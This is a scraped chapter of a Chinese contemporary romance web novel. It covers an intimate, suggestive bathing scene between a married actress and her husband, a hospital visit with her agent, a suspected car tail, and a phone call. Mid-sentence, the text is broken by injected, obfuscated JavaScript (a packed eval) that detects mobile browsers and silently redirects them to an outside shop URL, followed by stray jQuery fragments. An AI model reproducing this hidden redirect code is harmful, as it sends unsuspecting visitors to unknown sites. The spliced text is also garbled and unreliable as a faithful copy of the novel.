文趣网 > 都市小说 > 白日未眠[先婚后爱] > 11. Day11
    轻到近乎可以忽略的声响,却让乔眠整个人紧绷起来。

    她动了动,试图放松。

    可即使再心理强大的人,怕是也无法在赤身,还有第二个人在场的情况下行动自如。

    所以,谢颂白眼里看到的,是乔眠极其刻意地往后退了步。

    他停下,开口时喉咙都干涸到险些裂开。

    “用毛巾?”

    “对,沾水就行。”乔眠尽量自然道,“只剩后背一点,我实在够不到。”

    “好。”

    水流声淌着,总算赶着尴尬散去些。

    视野里,乔眠透过挂着水汽的玻璃门,瞥见那只宽大的手托着毛巾在水龙头下。

    氤氲白雾模糊了大半画面,唯独那双手清晰撞进眼底。

    谢颂白的指骨生得修长,腕骨轮廓凸起,冷白皮肤衬得每一节骨相都利落分明。清水不断冲刷下来,顺着指的轮廓淌落,他指尖微扣,缓缓揉搓浸湿的毛巾,宽大手掌裹住柔软布料,骨节微微用力时,手背淡青色血管浅浅浮起。

    水龙头被关掉,一颗水珠从指腹,关节凹陷处经过,随着他抬手拧毛巾的动作簌簌坠落在台面上。

    乔眠隔着层水雾望着那颗水珠的归宿,呼吸不自觉放轻,心口莫名泛起一阵燥热,视线怎么都挪不开。

    察觉他身形动作,这才别开脸。

    动手前,谢颂白毛巾抵在某处,问:“这儿?”

    乔眠已经感受不到了,满脑子都是赶紧结束的窘迫,囫囵地应着。

    柔软的触感贴上来时,才是真正的折磨。

    每接触的一次,她的腿不自然地靠在一起。

    直至皮肤上指腹不经意划过,犹如划开那张遮盖的纸张,某处热意终于一股脑混入淋浴的水流。

    乔眠咬唇,气恼谢颂白的体温那么高。

    “打泡沫?”

    “嗯。”

    她刚要把浴球拿给他,余光瞥见那条有力的手臂从耳廓边经过,径直将那颗饱满的粉色浴球抓在手心。

    ......

    心口一晃。

    乔眠感觉自己好像发烧了,甚至有些站不住。

    淋浴间的玻璃门没拉,还算宽敞的空间不知在何时变得狭窄起来。似是将所有的热气和呼吸都聚拢靠近,恨不得融入在一起。

    泡沫打发的声音音量不大,也正因窸窸窣窣微小的声响才更让人无法忽略。

    终于,身体再次的反应让她羞赧的闭上眼,靠紧双腿。

    为了稳住身形,她抬手撑在边上的玻璃门,试图偷偷地,轻轻地,小心又谨慎地缓缓将气息送出去。

    相比较前面努力调整呼吸的人,后面谢颂白的情况要更不好受些。

    他克制自己,努力把视线锁定在后背的位置,但等他反应过来的时候,目光落在那层蒙着薄雾的玻璃门上。

    乔眠掌心贴上去的地方,晕开一片浅浅湿痕,指尖按压的轮廓清晰印在玻璃,水珠顺着痕迹缓缓往下滑,拉出几道细长水迹。

    他手中,纯白绵密的泡沫堆得满满当当,从指缝溢出来滴落弄湿睡裤,但已无心去管。

    清水还在顺着小臂往下淌,冰凉触感压不住心口翻涌的燥热,方才所有全都缠在思绪里。

    他指节无意识收紧,浴球轻轻一捏,细碎泡沫簌簌落地更多。

    谢颂白喉结无声滚了下,终于将视线从那片印着她手掌温度的水渍上移开,抬手。

    光洁的后背轻轻一缩。

    乔眠微微侧头,感受到动作加快的那一刻,她默默把催促的话咽了回去。

    直至清水将最后一点泡沫清洗干净,如释重负之感浮上来。

    乔眠接过浴巾,转过身道谢的话还没出,看到什么,欲言又止。

    谢颂白咳了声,“你......出去吧。”

    她直愣道:“你不出去?”

    如深潭般的眸子看来时,乔眠意识到什么,拢着身前浴巾的手不由得紧了紧。

    她咳了声,算是回礼道:“用不用我帮你?”

    空间内,呼吸一重。

    乔眠正困在角落,只要他一动,她肯定是只有受着的份。

    感受到灼热的视线落在肩头片刻,随后哑到近乎模糊的声音从齿间挤出。

    “不用。”

    乔眠提着气快步绕开他,甚至内衣睡衣什么的都忘了拿,快步走出浴室。

    直到门被关上的那刻,自始至终未动的人再也维持不住,紧绷的身形一缓,一口沉重的气息呼出,重重砸在光洁的墙面。

    ......

    不知多久过去。

    乔眠昏昏欲睡之时听到声响,她睁开眼,半天在漆黑里寻觅到那道身影。

    “你好了?”

    上床的人“嗯”了声,躺在她身边:“睡吧。”

    乔眠本就是被吵醒,闭上眼前呢喃:“早说我帮你还不领情。”

    “......

    真要帮?”

    困意四散,她睁开眼。

    口中干涩的感觉又找回来,她不肯低头,应:“对啊,你——”

    手腕被掌心扣着,乔眠全身一僵,不敢相信他来真的。

    黑暗里,不知谁的呼吸先乱,却也没有下一步的动作。

    停顿间,身前的人一声轻笑,随后她感觉握着她手腕的力道被卸下几分。

    “想睡觉还是想帮。”

    “......”

    乔眠才不会傻到回答。

    自然地撤回手,没法转身只能把脸别开,还打了个哈欠:“我困了。”

    一声轻笑划过耳畔。

    很轻。

    也急剧挑衅。

    乔眠险些力竭,在心里把谢颂白从头到脚道了个遍,裹紧了被子。

    翌日。

    乔眠在阳台瞧见昨晚挂着的衣物,想不通为什么衣服挂着晾晒,给谢颂白发去消息。

    片刻后收到回复:【被水打湿了。】

    哦。

    -

    休闲无事的日子总是过得很快,转眼到了拆线这天,戴维晶陪着乔眠去医院。

    从医院出来,对接完工作的人被香味吸引看来,就见某人双颊填得满满当当,一副吃美了不知天地为何物的模样,气不打一处来。

    戴维晶后悔允许她去麦当劳的决定,但想着她大病初愈也就算了。

    瞧她吃得这么香,也想尝尝。不想,刚伸出手就被乔眠两三下塞进嘴里。

    戴维晶:“......”

    乔眠:“我吃完了,反悔来不及了。”

    “谁跟你抢了,小人之心。”戴维晶彻底无语了,不过话说话来,她打量人,“我瞧着你是不是有脸颊肉了?你是不是自己在家偷吃好吃的?”

    “没啊。”乔眠实话实说,“可能粥、面条都是碳水,胖人吧。”

    戴维晶思索片刻:“反正医生说你没忌口,要不我还准备饭食给你送去,省得你家做饭阿姨由着你胡来。过两天就是新剧饭局,到时候资本大佬都会去,你可别仗着假期胡作非为,该运动运动,该少吃少吃,保持体重。”

    话音落下,戴维晶没听到回应。

    她停止手里工作去看,发现乔眠鬼鬼祟祟地趴在窗边,不知道在看什么。

    “怎么了?”

    乔眠让她看后面那辆车:“我没记错的话,这车是不是去医院的时候就见过?”

    “私生?不可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894580|212814||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能吧?”

    戴维晶让司机留意,紧接着,那辆白色桑塔纳便在路口右转,和他们不是一个方向。

    “你是不是看剧本把自己带入进去,在家闷久了,产生幻觉了?”

    乔眠马上要和万延时合作的那部剧是部刑侦题材,她饰演的是女警,处理过各种凶案。这几天她是有和工作室的小伙伴在群里讨论,可也不至于连接现实。

    她看向车后,确实没有那辆桑塔纳,“那可能是这车太大众了,我看错了吧。”

    戴维晶触及那张白皙、略显疲惫的面容,安慰她:“看剧本也别太累。那饭菜就这么定了,我让人给你送。”

    “好。”

    刚回家的乔眠收到谢颂白说出差的消息,得知对方三天不在家,她长臂一展搭在靠枕,却没了点外卖的心思。

    回了个知道。

    对面没有打算就此结束的意思,问她到家没。

    “到家”刚发出去,他的电话打进来。

    乔眠正在翻看剧本:“怎么了?”

    “医生说怎么样?”他问。

    “你不是有梁主任电话吗,怎么不自己打电话问哦。”

    谢颂白翻看文件的动作一顿。

    倒难为她还记着几天前的事,此时拿过来揶揄他。

    玩笑过后,乔眠回答他:“挺好的,现在不用忌口了。”

    不用忌口,可她听起来并不高兴。

    谢颂白提醒:“家里没人,你可以点外卖了。”

    她倒是想。

    “晶姐说我胖了,都怪你。这下好了,她给我每天安排了健康餐。我也想吃,吃完什么东西在等着我,我还是有数的。”

    “什么在等你?”谢颂白还真不知道,“经纪人会说你?”

    “会啊,然后给我安排健身计划,卷腹和平板支撑,你懂么。”说完也不等回答,她长叹一声,“你还是别懂了。而且下个角色我还是女警察,对身材把控格外严。当时制片人问我这个角色身上最难点,是不是她遭受了亲情和爱情的双重背叛的时候,你知道我说得什么吗?”

    电话那边的人静静听着,适时接茬:“什么?”

    “我说腹肌更难。因为她有一场在拳击馆露腹肌的戏......”

    她练手臂和腿的还好,可腰腹力量弱,这类就露怯,也为此头疼,“唉。”

    话落,听筒里传来第三个人的声音。

    是曾觉。

    他在提醒谢颂白,该登机了。

    说起角色,乔眠停不下来,早忘了对面的人是谢颂白。

    她后知后觉自己适才健谈耽误了他多少时间,尴尬地舌尖抵在上颚,在他开口前匆匆道:“不跟你说了,我要看剧本了。”

    “嗯。”

    电话在应答后挂断。

    乔眠看到通话显示快三分钟的秒数时一顿。

    倒不是这么几分钟的通话时长如何,而是听的人是谢颂白。

    那个和她对话都目的性极强、说话撑不过两个来回的人,这次破天荒听她说了这么久,估计是在忍她。

    不过谁让他打电话过来,她说爽就行。

    去厨房倒了杯水,乔眠这才发现水壶里的水是满的。

    恍然记起,这几天,她倒水时终于不是空杯,要等热水烧好,而是满满当当的。

    谁做的一切一目了然。

    这也意味着,未来三天,她要喝水前都要等水烧开。

    她待会就下单直饮机。

    半杯温水下肚,她又倒了满满一杯拿着往沙发走。

    乔眠刚坐下就瞥见屏幕挂着的消息,内容诡异到她反复确认是谁发的——

    Alba:【刑侦剧,有吻戏吗?】